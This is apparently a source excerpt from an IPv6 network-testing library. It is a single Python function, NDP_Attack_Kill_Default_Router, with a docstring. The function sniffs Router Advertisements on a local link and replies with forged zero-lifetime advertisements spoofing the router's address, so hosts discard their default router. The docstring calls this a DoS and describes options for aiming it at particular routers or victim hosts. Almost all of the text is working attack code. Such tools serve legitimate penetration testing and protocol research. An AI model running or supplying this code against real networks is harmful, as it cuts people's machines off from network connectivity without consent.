docs: def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
                                     ip_src_filter=None, reply_mac=None,
                                     tgt_mac=None):
      """
      The purpose of the function is to monitor incoming RA messages
      sent by default routers (RA with a non-zero Router Lifetime values)
      and invalidate them by immediately replying with fake RA messages
      advertising a zero Router Lifetime value.
  
      The result on receivers is that the router is immediately invalidated,
      i.e. the associated entry is discarded from the default router list
      and destination cache is updated to reflect the change.
  
      By default, the function considers all RA messages with a non-zero
      Router Lifetime value but provides configuration knobs to allow
      filtering RA sent by specific routers (Ethernet source address).
      With regard to emission, the multicast all-nodes address is used
      by default but a specific target can be used, in order for the DoS to
      apply only to a specific host.
  
      More precisely, following arguments can be used to change the behavior:
  
      iface: a specific interface (e.g. "eth0") of the system on which the
           DoS should be launched. If None is provided conf.iface is used.
  
      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
           Only RA messages received from this source will trigger replies.
           If other default routers advertised their presence on the link,
           their clients will not be impacted by the attack. The default
           value is None: the DoS is not limited to a specific mac address.
  
      ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
           on. Only RA messages received from this source address will trigger
           replies. If other default routers advertised their presence on the
           link, their clients will not be impacted by the attack. The default
           value is None: the DoS is not limited to a specific IPv6 source
           address.
  
      reply_mac: allow specifying a specific source mac address for the reply,
           i.e. to prevent the use of the mac address of the interface.
  
      tgt_mac: allow limiting the effect of the DoS to a specific host,
           by sending the "invalidating RA" only to its mac address.
      """
  
      def is_request(req, mac_src_filter, ip_src_filter):
          """
          Check if packet req is a request
          """
  
          if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
              return 0
  
          mac_src = req[Ether].src
          if mac_src_filter and mac_src != mac_src_filter:
              return 0
  
          ip_src = req[IPv6].src
          if ip_src_filter and ip_src != ip_src_filter:
              return 0
  
          # Check if this is an advertisement for a Default Router
          # by looking at Router Lifetime value
          if req[ICMPv6ND_RA].routerlifetime == 0:
              return 0
  
          return 1
  
      def ra_reply_callback(req, reply_mac, tgt_mac, iface):
          """
          Callback that sends an RA with a 0 lifetime
          """
  
          # Let's build a reply and send it
  
          src = req[IPv6].src
  
          # Prepare packets parameters
          ether_params = {}
          if reply_mac:
              ether_params["src"] = reply_mac
  
          if tgt_mac:
              ether_params["dst"] = tgt_mac
  
          # Basis of fake RA (high pref, zero lifetime)
          rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1")
          rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
  
          # Add it a PIO from the request ...
          tmp = req
          while ICMPv6NDOptPrefixInfo in tmp:
              pio = tmp[ICMPv6NDOptPrefixInfo]
              tmp = pio.payload
              del(pio.payload)
              rep /= pio
  
          # ... and source link layer address option
          if ICMPv6NDOptSrcLLAddr in req:
              mac = req[ICMPv6NDOptSrcLLAddr].lladdr
          else:
              mac = req[Ether].src
          rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
  
          sendp(rep, iface=iface, verbose=0)
  
          print("Fake RA sent with source address %s" % src)
  
      if not iface:
          iface = conf.iface
      # To prevent sniffing our own traffic
      if not reply_mac:
          reply_mac = get_if_hwaddr(iface)
      sniff_filter = "icmp6 and not ether src %s" % reply_mac
  
      sniff(store=0,
            filter=sniff_filter,
            lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
            prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
            iface=iface)